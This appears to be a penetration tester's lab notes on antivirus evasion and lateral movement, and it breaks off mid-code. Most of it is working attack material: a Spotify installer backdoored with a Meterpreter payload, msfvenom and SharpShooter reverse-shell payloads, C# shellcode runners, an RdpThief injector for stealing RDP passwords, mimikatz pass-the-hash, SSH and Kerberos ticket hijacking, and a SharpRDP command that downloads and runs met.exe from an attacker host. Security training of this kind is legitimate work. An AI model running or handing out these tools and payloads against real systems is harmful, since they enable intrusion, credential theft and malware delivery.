# Download a valid .exe file, ex spotify installer and load it into shellter. 
/home/aghanim/downloads/SpotifySetup.exe

# Choose a payload from the list. 
L
1 
SET LHOST: IP
SET LPORT: PORT

# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate". 
set AutoRunScript post/windows/manage/migrate

-----------------------

# You can also set custom payload 
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin

# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A

PE Target: /home/kali/poultry/whoami.exe

**********
* Backup *
**********

Backup: Shellter_Backups\whoami.exe

...

Filtering Time Approx: 0.0024 mins.

Enable Stealth Mode? (Y/N/H): N

************
* Payloads *
************

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

Use a listed payload or custom? (L/C/H): C

Select Payload: /home/kali/poultry/met.bin

Is this payload a reflective DLL loader? (Y/N/H): N

****************
* Payload Info *
****************
...
Injection: Verified!

Veil Framework

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.

# Install 
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh

Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"

Then, run # veil --setup again.


# Start veil
veil 
# or 
/usr/share/veil/Veil.py

# Available Commands:

        exit                    Completely exit Veil
        info                    Information on a specific tool
        list                    List available tools
        options                 Show Veil configuration
        update                  Update Veil
        use                     Use a specific tool


# Generate a powershell script (bat file) for evasion
veil > use evasion 
# List payloads 
veil > list

# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py

# List options 
[powershell/meterpreter/rev_tcp>>]: options

# Generate payload 
[powershell/meterpreter/rev_tcp>>]: generate


# From pic below, payload is in /var/lib/veil/output/source/ folder 

Ebowla

https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits. 

# Quick demo 
https://www.youtube.com/watch?v=rRm3O7w5GHg

Just Enought Administration (JEA)

  • JEA Purpose: Provides specific users/groups just enough permissions to execute their tasks without compromising security.
  • JEA Function: Allows delegated administration via PowerShell. Applicable to both servers and clients.
  • JEA Benefits:
    • Reduces the number of administrators.
    • Limits administrator capabilities.
    • Provides logging to monitor actions of JEA enabled users.
  • JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.
  • Files and commands executed in a JEA session might run with administrative privileges.
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.

## Default PSSession Configuration file
1 @{
2 
3 # Version number of the schema used for this document
4 SchemaVersion = '2.0.0.0'
5 
6 # ID used to uniquely identify this document
7 GUID = 'e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9'
8 
9 # Author of this document
10 Author = 'administrator'
11 
12 # Description of the functionality provided by these settings
13 # Description = ''
14 
15 # Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 16 'Default'
16 SessionType = 'Default'
17 
18 # Directory to place session transcripts for this session configuration
19 # TranscriptDirectory = 'C:\Transcripts\'
20 
21 # Whether to run this session configuration as the machine's (virtual) administrator account
22 # RunAsVirtualAccount = $true
23 
24 # Scripts to run when applied to a session
25 # ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'
26 
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session
28 # RoleDefinitions = @{ 'CONTOSO\SqlAdmins' = @{ RoleCapabilities = 'SqlAdministration' }; 'CONTOSO\SqlManaged' = @{ RoleCapabilityFiles = 'C:\RoleCapability\SqlManaged.psrc' }; 29 'CONTOSO\ServerMonitors' = @{ VisibleCmdlets = 'Get-Process' } } 
29 
30 }


# Enumerate commands. The command below will tell you what kind of commands you're allowed to run. 
Get-Command 

Just-In-Time Access (JIT)

  • JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.
  • Use Case:
    • User needs to log in and perform maintenance requiring administrative privileges.
    • Instead of giving permanent access, JIT allows for temporary administrative access.
    • After the set duration, access is automatically revoked.
  • Integration:
    • Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.
    • PAM writes specific attributes that can be enumerated.
    • Once PAM is enabled in AD, it can’t be disabled.
# Explotation usually requires approval from another user. 
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access. 
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement. 

# Enumerate 
## First import the dll to memory
Import-Module Microsoft.ActiveDirectory.Management

# Then you can enumerate the Get-commands
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like "Get-*" }

# Example output of PAM being enabled on AD.
Get-ADOptionalFeature -Filter *
...

FeatureGUID        : 
RequiredDomainMode :
RequiredForestMode : Windows2016Forest
IsDisableable      : False
FeatureScope       : {ForestOrConfigurationSet}
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com
Name               : Privileged Access Management Feature
ObjectClass        : msDS-OptionalFeature
ObjectGuid         : 
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}
AddedProperties    : {}
RemovedProperties  : {}
ModifiedProperties : {}
PropertyCount      : 10

JScript

JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It’s similar to JavaScript.

JScript – Wikipedia

DotNetToJscript

If you get “This tool should only be run on v2 of the CLR” while trying to run the binary, look at the forum below.

DotNetToJScript compilation (offsec.com)

You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error “This tool should only be run on v2 of the CLR”. The resulting .js file works just fine.

https://github.com/tyranid/DotNetToJScript

  1. Download DotNetToJscript.
  2. Open the .sln
  3. Compile both DotNetToJscript and ExampleAssembly
  4. Run the command below.
  5. Open demo.js
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

Testclass.cs

# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work. 

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

[ComVisible(true)]
public class TestClass

{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
    lpThreadId);
    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    public TestClass()
    {
        byte[] buf = new byte[460] {0xfc,0x48,...};
        int size = buf.Length;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
        Marshal.Copy(buf, 0, addr, size);
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
        IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}

Then run this command after the above is compiled

.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js

SharpShooter &SuperSharpsHooter

 https://github.com/mdsecactivebreach/SharpShooter.git

# Updated version 
https://github.com/SYANiDE-/SuperSharpShooter

If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!

curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py (sudo is neccesary)
sudo apt install python-setuptools
pip install jsmin==2.2.2 --ignore-installed
git clone https://github.com/mdsecactivebreach/SharpShooter.git
cd SharpShooter
python2 SharpShooter.py <here all the options needed>

Generating a raw Meterpreter staged payload using msfvenom:

  • Create the payload:
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt

Generating malicious Jscript file with SharpShooter:

  • Invoke the SharpShooter tool with appropriate parameters:
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test

4. Notes:

  • --payload js: This specifies a Jscript output format.
  • --dotnetver 4: Sets the targeted .NET framework version.
  • --stageless: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, “stageless” refers to the method of transferring the entire Jscript payload.
  • --rawscfile: Specifies the file that contains our shellcode.
  • --output: Sets the output file name (excluding the file extension).

Kiosk Breakout

Escaping from KIOSKs – HackTricks

URIs (Uniform Resource Identifiers)

# Used to access locally-stored pages and files.
file:// 
# Access to internal Chrome browser pages and settings.
chrome://
# File Transfer Protocol, used for transferring files over the Internet.
ftp://
# Used to open the default mail client and initiate composing an email.
mailto:
# SMB protocol, commonly used for local network file sharing.
smb://
# Embeds data like inline images directly into content.
data:
# Initiates a call using the designated telephone number.
tel:
# Executes JavaScript code from a URL or hyperlink.
javascript:
# Represents data formats like images or other binary data.
blob:
# Used by torrent clients to download files.
magnet:
# Starts an SSH session.
ssh:
# Real-Time Messaging Protocol for streaming content.
rtmp:
# Directory services protocol.
ldap:
# An older document retrieval protocol.
gopher:
# WebSockets for real-time communication.
ws:
# Secure WebSockets.
wss:
# Denotes the XMPP/Jabber messaging protocol.
xmpp:
# Accessing newsgroups.
news:
# Protocol for accessing newsgroups.
nntp:
# Common in VoIP services.
sip:
# Defines geographical coordinates.
geo:
# Represents Bitcoin addresses for transactions.
bitcoin:

Windows Kiosk Breakout

1. Windows Explorer and Applications:

  • Liabilities:
    • Windows Explorer integration in apps can be a kiosk security issue.
    • Especially true for Internet Explorer, foundational for many kiosks.

2. Environment Variables:

  • Usage: Can be substituted for full file paths in browser-based kiosks.
  • Example: %APPDATA% → local folder for app data storage.
  • Notable Environment Variables:
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users
%APPDATA%           →   C:\Documents and Settings\Username\Application Data
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files
%COMSPEC%           →   C:\Windows\System32\cmd.exe
%HOMEDRIVE%         →   C:\
%HOMEPATH%          →   C:\Documents and Settings\Username
%PROGRAMFILES%      →   C:\Program Files
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)
%SystemDrive%       →   C:\
%SystemRoot%        →   C:\Windows
%TEMP% & %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp
%USERPROFILE%       →   C:\Documents and Settings\Username
%WINDIR%            →   C:\Windows

3. UNC Paths:

4. Shell Commands:

  • Usage: Use “shell:” shortcut in file browser dialogs.
  • Notable Shell Commands:
shell:System                  →   Opens the system folder
shell:Common Start Menu       →   Opens the Public Start Menu folder
shell:Downloads               →   Opens the user's Downloads folder
shell:MyComputerFolder        →   Opens the “This PC” window

5. Browser-Protocol Style Shortcuts:

  • Usage: Use “file:///” to access apps or files.

6. Windows Search Functionality:

  • Usage: Use embedded search boxes to navigate to a file from the search results.

7. Help Dialog:

  • Usage: Use it to search for utilities like Notepad, cmd.exe, or PowerShell.

8. File Shortcuts:

  • Usage:
    • Create shortcuts in a file browser dialog.
    • Modify the shortcut target application to an app like cmd.exe or powershell.exe.

9. Drag and Drop:

  • Usage: Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)

10. Print Dialog:

  • Usage: Can be used to access Windows Explorer features.
  • Usage: Use keyboard combinations to expand access.
  • Notable Shortcuts:
!      →   Help
C+P    →   Print Dialog
E+A    →   Task Switcher
G+R    →   Run menu
C+~    →   Start Menu

12. Bypassing Whitelisting or Blacklisting:

  • Strategies:
    • Copy and paste binaries, rename and run.
    • Modify hash, filename, or filepath to bypass blacklists.

Lateral Movement – Linux

SSH Persistence

# 1. Generate SSH Keypair on Kali VM:
kali@kali:~# ssh-keygen

# View and Copy the Public Key:
cat /home/kali/.ssh/id_rsa.pub

# Insert the Public Key on the Target Machine:
linuxvictim@linuxvictim:~$ echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/linuxvictim/.ssh/authorized_keys

# SSH into the Target Machine without a Password:
kali@kali:~$ ssh linuxvictim@linuxvictim

Hijacking SSH with ControlMaster

ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).

# 1. Create SSH Config if it does not exist:
offsec@controller:~$ cat > ~/.ssh/config
    Host *
    ControlPath ~/.ssh/controlmaster/%r@%h:%p
    ControlMaster auto
    ControlPersist 10m
	
# 2. Set Correct File Permissions:
offsec@controller:~$ chmod 644 ~/.ssh/config

# 3. Create ControlMaster Directory if it does not already exists:
offsec@controller:~$ mkdir ~/.ssh/controlmaster

# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh'd, exit the session and list files. As you can see there is a socket file now:
offsec@controller:~$ ls -al ~/.ssh/controlmaster/
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22

# 5. Now you can SSH Without Password (piggybacking active session):
offsec@controller:~$ ssh offsec@linuxvictim

# 6. SSH to the controller again, but now as the root user:
# List available sockets:
root@controller:~# ls -al /home/offsec/.ssh/controlmaster

# Now you can piggyback the active session with root user, without using the password:
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim

Hijacking SSH using SSH-Agent and SSH Agent Forwarding

  1. Purpose:
    • SSH-Agent: Manages user’s private keys.
    • SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.
  2. Advantages:
    • Doesn’t require private key storage on the intermediate server.
    • Users don’t repeatedly input passphrases.
  3. How It Works:
    • SSH key requests from destination servers are passed through intermediate hosts to the originating client’s SSH Agent.
# Create SSH Key Pair:
ssh-keygen

# Copy Public Key to Servers:
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim

# Enable Agent Forwarding on Kali Machine:
# Add in ~/.ssh/config:
ForwardAgent yes

# Allow Agent Forwarding on Controller Server:
# Add in /etc/ssh/sshd_config:
AlowAgentForwarding yes

# Start SSH-Agent:
kali@kali:~$ eval `ssh-agent`

# Add Keys to SSH-Agent:
kali@kali:~$ ssh-add

# Connect using SSH-Agent Forwarding:
kali@kali:~$ ssh offsec@controller
offsec@controller:~$ ssh offsec@linuxvictim

Linux Kerberos

General Syntax

# Logging in to the linuxvictim System

kali@kali:~$ ssh administrator@corp1.com@linuxvictim
# Note: We are using Active Directory credentials here.

# Kerberos Tickets and Credential Cache
#	• AD members using Kerberos authentication get a credential cache file.
#	• The cache file location is set via KRB5CCNAME environment variable.
#	• To find the administrator’s credential cache file:
env | grep KRB5CCNAME

# Acquiring Kerberos Tickets
#	• Kerberos tickets expire after some time.
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.
kinit

#	• List stored tickets using klist:
klist

# Deleting Cached Tickets
kdestroy

# Accessing Kerberos Services
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D "Administrator@CORP1.COM" -W -b "dc=corp1,dc=com" "servicePrincipalName=*"
# -Y GSSAPI - Force LDAP to use kerberos authentication 

# Requesting a Service Ticket
#	• Use the kvno utility:
kvno MSSQLSvc/DC01.corp1.com:1433

#	• Confirm the ticket acquisition with klist:
klist
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow
Default principal: Administrator@CORP1.COM

Valid starting       Expires              Service principal
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM
        renew until 10/12/2023 14:02:38
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM
        renew until 10/12/2023 14:02:38
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM

Stealing Keytab files

  • Purpose: Automate authentication to Kerberos resources without using a password.
  • Keytab Files: Contain a Kerberos principal name and encrypted keys.
# Creating a Sample Keytab 
administrator@corp1.com@linuxvictim:~$ ktutil
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac
Password for administrator@CORP1.COM: [User Password Entered Here]
ktutil: wkt /tmp/administrator.keytab
ktutil: quit

# Keytab file created at /tmp/administrator.keytab.

# Potential Misuse of Keytab Files
# 	• With root access, keytab can be used maliciously.
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab

# Verifying the Loaded Tickets
root@linuxvictim:~# klist

Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: administrator@CORP1.COM
Valid starting    Expires            Service principal
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM
renew until 08/06/2020 15:18:34

# Renewing Expired Tickets
       • Renew tickets if expired but within renewal timeframe.
root@linuxvictim:~# kinit -R

# Exploiting Loaded Keytab Files
#       • Authenticate as the domain admin.
root@linuxvictim:~# smbclient -k -U "CORP1.COM\administrator" //DC01.CORP1.COM/C$

WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> ls
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020
	PerfLogs D 0 Mon Jun 15 15:04:37 2020
	Program Files DR 0 Mon Jun 15 08:10:03 2020
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020
ProgramData DH 0 Mon Jun 15 15:04:37 2020

Abusing Credential Cache files

# Lets say you find a cached credential file in /tmp. 
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*

Output:
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5

# You can copy, and take ownership of the cache file

offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow


-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow

# Now, to use the stole cache file. First destroy the current keys.
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.

offsec@linuxvictim:~$ kdestroy
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow
offsec@linuxvictim:~$ klist

Output:
klist: No credentials cache found (filename: /tmp/krb5cc_1000)
...
Ticket cache: FILE:/tmp/krb5cc_minenow
Default principal: Administrator@CORP1.COM
...
renew until 08/06/2020 15:11:08

# Requesting Service Tickets with the Stolen Cache
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433
offsec@linuxvictim:~$ klist


MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2
...
renew until 08/06/2020 15:11:08

Using Kerberos ticket locally

#  Copy the victim's stolen ccache file to the Kali machine.
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow

# Set the KRB5CCNAME environment variable to use the victim's Kerberos tickets.
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow

# These utilities help in performing ticket manipulation tasks.
kali@kali:~$ sudo apt install krb5-user

# Determine the IP address of the domain controller and configure the hosts file to recognize it.
offsec@linuxvictim:~$ host corp1.com

# Update the /etc/hosts file with domain controller details.

# Set up Proxy for Kerberos Authentication:
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.
#	• Create a SOCKS server using SSH on the compromised server.
kali@kali:~$ ssh offsec@linuxvictim -D 9050

# Get Users SPN
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5
 CORP1.COM/Administrator
 

# List all AD users from domain
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5
 CORP1.COM/Administrator


# Use Impacket's psexec to get a shell. 
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass

ProxyChains-3.1 ( http://proxychains.sf.net)
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
...
[*] Requesting shares on DC01.CORP1.COM.....
[*] Found writable share ADMIN$
[*] Uploading file tDwixbpM.exe
[*] Opening SVCManager on DC01.CORP1.COM.....
[*] Creating service cEiR on DC01.CORP1.COM.....
[*] Starting service cEiR.....
...
[!] Press help for extra shell commands
...
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>

Lateral Movement – Windows

RDP

  • Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).
  • Require local administrator to dump the NTLM hashes
  • Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.
    • It mitigates credential theft on the target system during the RDP session.
    • The mode is disabled by default but can be enabled via a registry entry.
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# If LSA protection is enabled, scroll a bit up to know how to disable it. 

# Once the hash is captured, pass it using the command. mstsc.exe window will popup.
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"

# If restricted admin is disabled, enable it by using powershell on target machine
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell

# A Powershell window wil popup.
Enter-PSSession -Computer appsrv01

# Enabled Restricted Admin mode
 New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0

# Disable RAM
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin

Reverse RDP Proxying with Metasploit

  • Access machines protected by firewalls and NAT configurations via reverse proxying.

Prerequisite:

  • Already have an established meterpreter session
# Background current meterpreter shell
background

# Set Up Autoroute in Metasploit:
msf5 exploit(multi/handler) > use multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit

# Configure SOCKS Proxy:
msf5 post(multi/manage/autoroute) > use auxiliary/server/socks5
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > exploit -j

# Set Up Proxychains for Reverse Tunnel:

#     Add the SOCKS5 proxy IP and port to Proxychains config:
kali@kali:~$ sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf'

# Now you can RDP to target that is protected by edge firewall
kali@kali:~$ proxychains rdesktop 192.168.120.10

SharpRDP.exe – Console rdp

https://github.com/0xthirteen/SharpRDP

sharprdp.exe computername=appsrv01 command="powershell (New-Object
System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe',
'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=corp1\dave
password=lab

Steal RDP creds using RDPThief.dll

GitHub – 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.

  • Build the rdpthief dll from above link.
    • If detours is missing, use Nuget to uninstall and install it again.
  • The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.
  • To see the captured credentials, check the output file: ​C:\Users\<username>\AppData\Local\Temp\<session_ID>\data.bin​.
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;  // Added this line for Thread.Sleep()

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {
            String dllName = "C:\\Tools\\RdpThief.dll";
            while (true)
            {
                Process[] mstscProc = Process.GetProcessesByName("mstsc");
                if (mstscProc.Length > 0)
	                {
                    for (int i = 0; i < mstscProc.Length; i++)
                    {
                        int pid = mstscProc[i].Id;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                        IntPtr outSize;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
                        IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
                    }
                }
                Thread.Sleep(1000);  // Sleep for 1 second before checking again
            }
        }
    }
}

Fileless Lateral Movement

Using fileless lateral movement will

  • Execute code without registering new service.
  • Avoid writing file to disk.

PSExec however will write to disk. At a highlevel:

  • PsExec authenticates to SMB on the target host and accesses the DCE/RPC
    • DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.
  • PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.

Choose a service thats is not vital to the OS and is not used by default. Check service.msc.

PsExec.exe -i -u domain\user cmd.exe
  • The user running the code below have the TGT for cifs/appsrv01 in the memory.
  • The code will connect to target appsrv01, open the service SensorService and change it to open notepad.exe.
  • When SensorService is executed, notepad.exe will run as SYSTEM user.
using System;
using System.Runtime.InteropServices;

namespace PSLessExec
{
    public class Program
    {
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;
        public static uint SERVICE_DEMAND_START = 0x3;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;

        [StructLayout(LayoutKind.Sequential)]
        public class QUERY_SERVICE_CONFIG
        {
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwServiceType;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwStartType;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwErrorControl;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpBinaryPathName;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpLoadOrderGroup;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwTagID;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpDependencies;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpServiceStartName;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpDisplayName;
        };

        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);

        [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);

        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);

        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

        public static void Main(string[] args)
        {
            if (args.Length != 3)
            {
